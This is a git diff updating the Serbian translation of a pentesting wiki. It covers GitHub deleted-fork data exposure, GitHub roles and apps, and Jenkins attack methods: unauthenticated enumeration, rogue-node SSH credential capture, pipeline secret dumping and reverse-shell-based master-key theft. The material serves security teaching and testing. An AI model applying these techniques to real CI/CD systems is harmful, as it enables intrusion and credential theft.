b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index f77c0d2d3..936c23e27 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1 +1 @@ -# GH Actions - Cache Poisoning +# GH Actions - Zagađenje keša diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 997bd584f..e5b89472b 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1 @@ -# Gh Actions - Kontekstualne Injekcije Skripti +# Gh Actions - Injekcije skripti u kontekstu diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 5d49c6a11..4c89905b3 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,10 +1,10 @@ -# Accessible Deleted Data in Github +# Pristupačni Obbrisani Podaci na Githubu {{#include ../../banners/hacktricks-training.md}} -Ovi načini za pristup podacima sa GitHub-a koji su navodno obrisani su [**prijavljeni u ovom blog postu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Ovi načini pristupa podacima sa Github-a koji su navodno obrisani su [**prijavljeni u ovom blog postu**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## Pristup Obbrisanom Fork Podacima 1. Forkujete javni repozitorijum 2. Komitujete kod u vaš fork @@ -13,31 +13,44 @@ Ovi načini za pristup podacima sa GitHub-a koji su navodno obrisani su [**prija > [!CAUTION] > Podaci komitovani u obrisanom forku su i dalje dostupni. -## Accessing Deleted Repo Data +## Pristup Obbrisanom Repo Podacima -1. Imate javni repozitorijum na GitHub-u. -2. Korisnik fork-uje vaš repozitorijum. +1. Imate javni repo na GitHub-u. +2. Korisnik fork-uje vaš repo. 3. Komitujete podatke nakon što su fork-ovali (i nikada ne sinhronizuju svoj fork sa vašim ažuriranjima). -4. Brišete ceo repozitorijum. +4. Brišete ceo repo. > [!CAUTION] -> Čak i ako ste obrisali vaš repozitorijum, sve promene napravljene na njemu su i dalje dostupne kroz forke. +> Čak i ako ste obrisali vaš repo, sve promene napravljene na njemu su i dalje dostupne kroz forke. -## Accessing Private Repo Data +## Pristup Privatnim Repo Podacima -1. Kreirate privatni repozitorijum koji će na kraju postati javan. -2. Kreirate privatnu, internu verziju tog repozitorijuma (putem forkovanja) i komitujete dodatni kod za funkcije koje nećete učiniti javnim. +1. Kreirate privatni repo koji će na kraju postati javan. +2. Kreirate privatnu, internu verziju tog repoa (putem fork-ovanja) i komitujete dodatni kod za funkcije koje nećete učiniti javnim. 3. Činite vaš “upstream” repozitorijum javnim i zadržavate vaš fork privatnim. > [!CAUTION] -> Moguće je pristupiti svim podacima koji su poslati u internu fork u vremenu između kada je interna fork kreirana i kada je javna verzija postala javna. +> Moguće je pristupiti svim podacima koji su poslati na internu fork u vremenu između kada je interna fork kreirana i kada je javna verzija postala javna. -## How to discover commits from deleted/hidden forks +## Kako otkriti komite iz obrisanih/skrivenih forka Isti blog post predlaže 2 opcije: -### Directly accessing the commit +### Direktan pristup komitu Ako je poznata vrednost ID-a komita (sha-1), moguće je pristupiti mu na `https://github.com///commit/` -### Brute-forcing short SHA-1 values +### Brute-forcing kratkih SHA-1 vrednosti + +Isto je pristupiti oba od ovih: + +- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) +- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) + +I poslednji koristi kratak sha-1 koji se može bruteforce-ovati. + +## Reference + +- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 2c05fb66e..40a78d7c3 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -16,7 +16,7 @@ I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**. ### Uloge u preduzeću -- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, oni **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija. +- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija. - **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**. ### Uloge u organizaciji @@ -24,7 +24,7 @@ I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**. U organizaciji korisnici mogu imati različite uloge: - **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji. -- **Članovi organizacije**: **Podrazumevana**, neadministrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**. +- **Članovi organizacije**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**. - **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju. - **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji. - Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju. @@ -37,15 +37,15 @@ Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com Na _https://github.com/organizations/\/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**. -Postavke ovde konfigurisane će ukazivati na sledeće dozvole članova organizacije: +Postavke ovde konfigurirane će ukazivati na sledeće dozvole članova organizacije: - Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije. -- Da li članovi mogu kreirati privatne, interne ili javne repozitorijume. -- Da li je moguće fork-ovati repozitorijume. -- Da li je moguće pozvati spoljne saradnike. -- Da li se mogu objavljivati javne ili privatne stranice. +- Ako članovi mogu kreirati privatne, interne ili javne repozitorijume. +- Ako je moguće fork-ovati repozitorijume. +- Ako je moguće pozvati spoljne saradnike. +- Ako se mogu objaviti javne ili privatne stranice. - Dozvole koje administratori imaju nad repozitorijumima. -- Da li članovi mogu kreirati nove timove. +- Ako članovi mogu kreirati nove timove. ### Uloge u repozitorijumu @@ -85,7 +85,7 @@ Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogu #### **GPG ključevi** -Ne **možete se pretvarati da ste korisnik sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode ovde](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Ne možete **imiti korisnika sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). ### **Lični pristupni tokeni** @@ -93,7 +93,7 @@ Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem n ### Oauth aplikacije -Oauth aplikacije mogu vas pitati za dozvole **da pristupe delu vaših github informacija ili da se pretvaraju da ste vi** da bi obavili neke radnje. Uobičajen primer ove funkcionalnosti je **dugme za prijavu sa github-om** koje možete pronaći na nekim platformama. +Oauth aplikacije mogu vas pitati za dozvole **da pristupite delu vaših github informacija ili da imitirate vas** da obavite neke radnje. Uobičajen primer ove funkcionalnosti je **dugme prijave sa github-om** koje možete pronaći na nekim platformama. - Možete **kreirati** svoje **Oauth aplikacije** na [https://github.com/settings/developers](https://github.com/settings/developers) - Možete videti sve **Oauth aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications) @@ -102,41 +102,41 @@ Oauth aplikacije mogu vas pitati za dozvole **da pristupe delu vaših github inf Neke **preporuke za bezbednost**: -- **OAuth aplikacija** bi uvek trebala **delovati kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega. +- **OAuth aplikacija** uvek treba da **deluje kao autentifikovani GitHub korisnik širom celog GitHub-a** (na primer, kada pruža obaveštenja korisnicima) i sa pristupom samo do specificiranih opsega. - Oauth aplikacija može se koristiti kao provajder identiteta omogućavanjem "Prijava sa GitHub-om" za autentifikovanog korisnika. -- **Ne** pravite **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na \_svi\_\*\* repozitorijumima autentifikovanog korisnika\*\*. -- **Ne** pravite Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup. -- **Više** ovde [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **Nemojte** praviti **OAuth aplikaciju** ako želite da vaša aplikacija deluje na **jednom repozitorijumu**. Sa `repo` Oauth opsegom, Oauth aplikacije mogu **delovati na _svim_** repozitorijumima autentifikovanog korisnika. +- **Nemojte** praviti Oauth aplikaciju da deluje kao aplikacija za vaš **tim ili kompaniju**. Oauth aplikacije se autentifikuju kao **jedan korisnik**, tako da ako jedna osoba kreira Oauth aplikaciju za korišćenje u kompaniji, a zatim napusti kompaniju, niko drugi neće imati pristup. +- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github aplikacije -Github aplikacije mogu tražiti dozvole da **pristupe vašim github informacijama ili da se pretvaraju da ste vi** da bi obavili specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup. +Github aplikacije mogu tražiti dozvole da **pristupite vašim github informacijama ili da imitirate vas** da obavite specifične radnje nad specifičnim resursima. U Github aplikacijama morate navesti repozitorijume kojima će aplikacija imati pristup. - Da biste instalirali GitHub aplikaciju, morate biti **vlasnik organizacije ili imati administratorske dozvole** u repozitorijumu. -- GitHub aplikacija bi trebala **biti povezana sa ličnim nalogom ili organizacijom**. -- Možete kreirati svoju GitHub aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps) -- Možete videti sve **GitHub aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Ovo su **API krajnje tačke za GitHub aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekima od njih. +- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**. +- Možete kreirati svoju Github aplikaciju na [https://github.com/settings/apps](https://github.com/settings/apps) +- Možete videti sve **Github aplikacije koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Ovo su **API krajnje tačke za Github aplikacije** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola aplikacije, moći će da pristupi nekim od njih. - Možete videti instalirane aplikacije u **organizaciji** na _https://github.com/organizations/\/settings/installations_ Neke preporuke za bezbednost: -- GitHub aplikacija bi trebala **preduzimati radnje nezavisno od korisnika** (osim ako aplikacija koristi [token za korisnika na serveru](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Da biste održali token za pristup korisnika na serveru sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje tokena za pristup korisnika na serveru](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- GitHub aplikacija treba da **preduzima radnje nezavisno od korisnika** (osim ako aplikacija koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali korisničke pristupne tokene sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje korisničkih pristupnih tokena](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." - Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**. -- GitHub aplikacija bi trebala **biti povezana sa ličnim nalogom ili organizacijom**. +- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**. - Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može. -- **Ne koristite GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tok identifikacije korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari. +- **Nemojte koristiti GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tokene za identifikaciju korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari. - Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može. - Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **Više** ovde [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Ovo **nije način za autentifikaciju na github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija. +Ovo **nije način za autentifikaciju u github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija. ## Git akcije -Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgradnja docker kontejnera ili provera da PR ne sadrži tajne). +Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgraditi docker kontejner ili proveriti da PR ne sadrži tajne). ### Konfiguracija @@ -144,13 +144,13 @@ Na _https://github.com/organizations/\/settings/actions_ moguće je pr Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije. -Takođe je moguće konfigurisati **ko treba da odobri pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene. +Takođe je moguće konfigurisati **ko treba da dobije odobrenje za pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene. ### Git tajne Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**. -Ove tajne mogu biti konfigurisane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao: +Ove tajne mogu biti konfigurirane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao: ```yaml steps: - name: Hello world action @@ -170,9 +170,9 @@ example-command "$SUPER_SECRET" > [!WARNING] > Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane. -> Kada se jednom konfigurišu u repozitorijumu ili organizacijama, **korisnici github-a više neće moći da im pristupe**, samo će moći da **promene**. +> Kada su konfigurisane u repozitorijumu ili organizacijama, **korisnici Githuba više neće moći da im pristupe**, samo će moći da **promene**. -Dakle, **jedini način da se ukradu github tajne je da se može pristupiti mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action). +Dakle, **jedini način da se ukradu github tajne je da se pristupi mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action). ### Git Okruženja @@ -184,7 +184,7 @@ runs-on: ubuntu-latest environment: env_name ``` Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\ -Takođe može postaviti **broj potrebnih pregleda** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave. +Takođe može postaviti **broj potrebnih recenzija** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave. ### Git Action Runner @@ -194,9 +194,9 @@ Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\/settings/actions/runners_ -Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da pretražujete `runs-on: self-hosted` u yaml konfiguraciji Github akcije. +Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da potražite `runs-on: self-hosted` u yaml konfiguraciji Github akcije. -**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer **se generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada. +**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer se **generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada. Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi. @@ -215,7 +215,7 @@ Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Git Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**. -**Zaštite grana repozitorijuma** mogu se naći na _https://github.com/\/\/settings/branches_ +**Zaštite grana repozitorijuma** mogu se pronaći na _https://github.com/\/\/settings/branches_ > [!NOTE] > **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu. @@ -224,19 +224,19 @@ Različite zaštite mogu se primeniti na granu (kao na master): - Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi: - **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod. -- **Odbaciti odobrenja kada su novi commit-i poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga. -- **Zahtevati preglede od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu to odobriti) -- **Ograničiti ko može odbaciti preglede pull request-a.** Možete odrediti ljude ili timove koji su dozvoljeni da odbace preglede pull request-a. -- **Dozvoliti određenim akterima da zaobiđu zahteve pull request-a**. Ovi korisnici će moći da zaobiđu prethodne restrikcije. -- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajni u čistom tekstu). +- **Odbaciti odobrenja kada su novi commitovi poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga. +- **Zahtevati recenzije od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu da ga odobre) +- **Ograničiti ko može da odbaci recenzije pull zahteva.** Možete odrediti ljude ili timove koji mogu da odbace recenzije pull zahteva. +- **Dozvoliti određenim akterima da zaobiđu zahteve pull zahteva**. Ovi korisnici će moći da zaobiđu prethodne restrikcije. +- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajnih podataka u čistom tekstu). - **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti. -- **Zahtevati potpisane commit-e**. Commit-i moraju biti potpisani. -- **Zahtevati linearnu istoriju.** Sprečava spajanje commit-a koji se šalju na odgovarajuće grane. +- **Zahtevati potpisane commitove**. Commitovi moraju biti potpisani. +- **Zahtevati linearnu istoriju.** Sprečava spajanje commitova da budu poslati na odgovarajuće grane. - **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije. -- **Ograničiti ko može slati na odgovarajuće grane**. Ograničiti ko može poslati PR. +- **Ograničiti ko može da šalje na odgovarajuće grane**. Ograničiti ko može da pošalje PR. > [!NOTE] -> Kao što vidite, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline. +> Kao što vidite, čak i ako uspete da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline. ## References diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index fd41c920b..c2e03fda5 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -10,7 +10,7 @@ Jenkins je alat koji nudi jednostavan način za uspostavljanje **kontinuirane in basic-jenkins-information.md {{#endref}} -## Neautorizovana enumeracija +## Neautentifikovana enumeracija Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (_/people_ ili _/asynchPeople_, ovo prikazuje trenutne korisnike) možete koristiti: ``` @@ -22,7 +22,7 @@ msf> use auxiliary/scanner/http/jenkins_command ``` Bez kredencijala možete pogledati unutar _**/asynchPeople/**_ putanje ili _**/securityRealm/user/admin/search/index?q=**_ za **korisnička imena**. -Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_ +Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_. ![](<../../images/image (146).png>) @@ -42,11 +42,11 @@ basic-jenkins-information.md ### Registracija -Moći ćete da pronađete Jenkins instance koje **omogućavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.** +Moći ćete da pronađete Jenkins instance koje **dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.** ### **SSO Prijava** -Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (tj. test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Takođe, ako su **SSO** **funkcionalnosti**/**pluginovi** prisutni, onda biste trebali pokušati da se **prijavite** u aplikaciju koristeći test nalog (npr., test **Github/Bitbucket nalog**). Trik iz [**ovde**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce @@ -93,7 +93,7 @@ gitleaks detect --no-git -v ``` ### **Krađa SSH kredencijala** -Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, on bi mogao **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa: +Ako kompromitovani korisnik ima **dovoljno privilegija da kreira/modifikuje novi Jenkins čvor** i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi **ukrasti te kredencijale** kreiranjem/modifikovanjem čvora i **postavljanjem hosta koji će snimati kredencijale** bez verifikacije host ključa: ![](<../../images/image (218).png>) @@ -101,7 +101,7 @@ Obično ćete pronaći Jenkins ssh kredencijale u **globalnom provajderu** (`/cr ### **RCE u Jenkins-u** -Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da iscuri sve **tajne** i **env varijable** i da **iskoristi druge mašine** smeštene u istoj mreži ili čak **prikupi cloud kredencijale**. +Dobijanje **shell-a na Jenkins serveru** daje napadaču priliku da otkrije sve **tajne** i **env varijable** i da **iskoristi druge mašine** locirane u istoj mreži ili čak **prikupi cloud kredencijale**. Podrazumevano, Jenkins će **raditi kao SYSTEM**. Tako da, kompromitovanje će napadaču dati **SYSTEM privilegije**. @@ -139,7 +139,7 @@ Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u. ![](<../../images/image (127).png>) -Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na primer, u drugim repozitorijumima) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u. +Takođe je moguće **čuvati konfiguracione fajlove pipeline-a na drugim mestima** (na drugim repozitorijumima, na primer) sa ciljem **razdvajanja** pristupa repozitorijumu i pristupa pipeline-u. Ako napadač ima **pravo pisanja nad tim fajlom**, moći će da **modifikuje** i **potencijalno pokrene** pipeline bez čak i pristupa Jenkins-u.\ Moguće je da će napadač morati da **obiđe neke zaštite grana** (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne). @@ -151,7 +151,7 @@ Najčešći okidači za izvršavanje prilagođenog pipeline-a su: - **Ažuriranje glavne grane** i čekanje da se na neki način izvrši > [!NOTE] -> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfiguran**, mogli biste potpuno **kompromitovati kompanije samo eksploatacijom ovoga**. +> Ako ste **spoljašnji korisnik**, ne biste trebali očekivati da kreirate **PR na glavnu granu** repozitorijuma **drugog korisnika/organizacije** i **pokrenete pipeline**... ali ako je **loše konfigurisano**, mogli biste potpuno **kompromitovati kompanije samo iskorišćavajući ovo**. ### Pipeline RCE @@ -159,7 +159,7 @@ U prethodnom RCE odeljku već je naznačena tehnika za [**dobijanje RCE modifiko ### Proveravanje Env varijabli -Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ova:** +Moguće je deklarisati **env varijable u čistom tekstu** za ceo pipeline ili za specifične faze. Ove env varijable **ne bi trebale sadržati osetljive informacije**, ali napadač uvek može **proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:** ```bash pipeline { agent {label 'built-in'} @@ -176,7 +176,7 @@ steps { ``` ### Dumping secrets -Za informacije o tome kako se tajne obično tretiraju u Jenkinsu, pogledajte osnovne informacije: +Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije: {{#ref}} basic-jenkins-information.md @@ -219,43 +219,43 @@ env Na kraju ove stranice možete **pronaći sve tipove kredencijala**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **master ključeve** i **šifrovane tajne** i dešifrujete ih van mreže.\ +> Najbolji način da **izvučete sve tajne odjednom** je da **kompromitujete** **Jenkins** mašinu (na primer, pokretanjem reverzne ljuske u **ugrađenom čvoru**) i zatim **procurite** **glavne ključeve** i **kriptovane tajne** i dekriptujete ih offline.\ > Više o tome kako to uraditi u [odeljku Čvorovi i Agenti](./#nodes-and-agents) i u [odeljku Post 